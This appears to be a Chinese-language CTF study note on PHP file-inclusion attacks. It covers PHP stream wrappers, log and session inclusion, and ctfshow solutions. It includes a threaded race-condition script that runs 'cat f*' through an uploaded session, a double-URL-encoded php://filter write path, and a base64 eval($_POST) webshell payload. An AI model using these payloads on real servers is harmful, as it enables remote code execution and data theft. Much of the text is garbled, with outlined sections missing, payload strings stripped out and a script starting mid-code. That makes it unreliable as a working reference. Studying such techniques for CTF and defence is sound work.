- 常见的文件包含函数
- 基本绕过:
- 利用php伪协议
- 1.php://input
- 2.php://filter
- 3.data协议
- 4.zip协议
- 5.bzip2://协议
- 6.zlib://协议
- 7. phar://协议
- 8.file协议
- 总结
- 日志包含
- 介绍
- 利用条件
- 漏洞利用流程
- 日志文件路径
- 远程文件包含
- 条件
- 流程
- PHPSESSION包含
- 包含/proc/self/environ文件
- 包含临时文件
- 过程
- 包含上传文件
- 绕过类型
- 指定后缀绕过
- 利用长度截断
- %00截断
- url
- 指定前缀截断
- 目录遍历
- 编码
- ctfshow
- web78
- web79
- web80
- web81
- web82-86
- web87
- web117
- 参考文献
php文件包含函数有下面四种
- include()
- require()
- include_once()
- require_once() include与require基本相同,只是一些错误处理不同
- include:遇到错误只发出警告,不会出现停止
- require:遇到错误要停止
- include_once和require_once:只包含一次
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行。 CTF中经常使用file_get_contents()获取php://input内容(POST) 需要allow_url_include打开 当enctype="multipart/form-data"的时候 php://input` 是无效的 例子一
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。 在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
参数详解
resource= 这个参数是必须的。它指定了你要筛选过滤的数据流。(相对路径也可)
read= 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write= 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
过滤器
读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php base64编码 ---最常用的
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换
字符串过滤器作用string.rot13等同于str_rot13()
,rot13变换string.toupper等同于strtoupper()
,转大写字母string.tolower等同于strtolower()
,转小写字母string.strip_tags等同于strip_tags()
,去除html、PHP语言标签
转换过滤器作用convert.base64-encode & convert.base64-decode等同于base64_encode()
和base64_decode()
,base64编码解码convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器作用zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。bzip2.compress & bzip2.decompress同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器作用mcrypt.*libmcrypt 对称加密算法mdecrypt.*libmcrypt 对称解密算法文件的打开方式
3.data协议
data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行。 当php被过滤时,就可以适当选择data协议 需满足allow_url_fopen,allow_url_include同时开启才能使用 例如:
?file=data://,,则会记录在日志中,一般
我们是把恶意代码写入UA头里。但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过
编码,就可以把 写入apache,iis或者nginx的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道中间件日志文件的存储路径。
流程:
先刷新网页或者上传文件抓包,改UA头为恶意代码,,
然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php
绕过类型
指定后缀绕过
测试代码
web80
过滤了php和data 我们可以使用远程文件包含(需要allow_url_include=on)
web81
日志文件包含 首先在UA头里面写入一句话
'
}
data2={
'1':'system("cat f*");'
}
file={
'file':'abc'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
web87
代码
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "".$content);
}else{
highlight_file(__FILE__);
}
死亡绕过die file参数过滤了太多东西,文件名可以通过两次url全编码绕过。 因为前面有die,所以我们后面直接写php内容会起不到作用,利用编码 1.base64编码
GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是""
base64 4位4位解码,其中""解码的内容其实只有phpdie,所以需要再填充两位。
//content=
参考文献
- https://blog.csdn.net/qq_42181428/article/details/87090539(重点)
- https://www.freebuf.com/articles/web/277756.html
- https://blog.csdn.net/miuzzx/article/details/116205407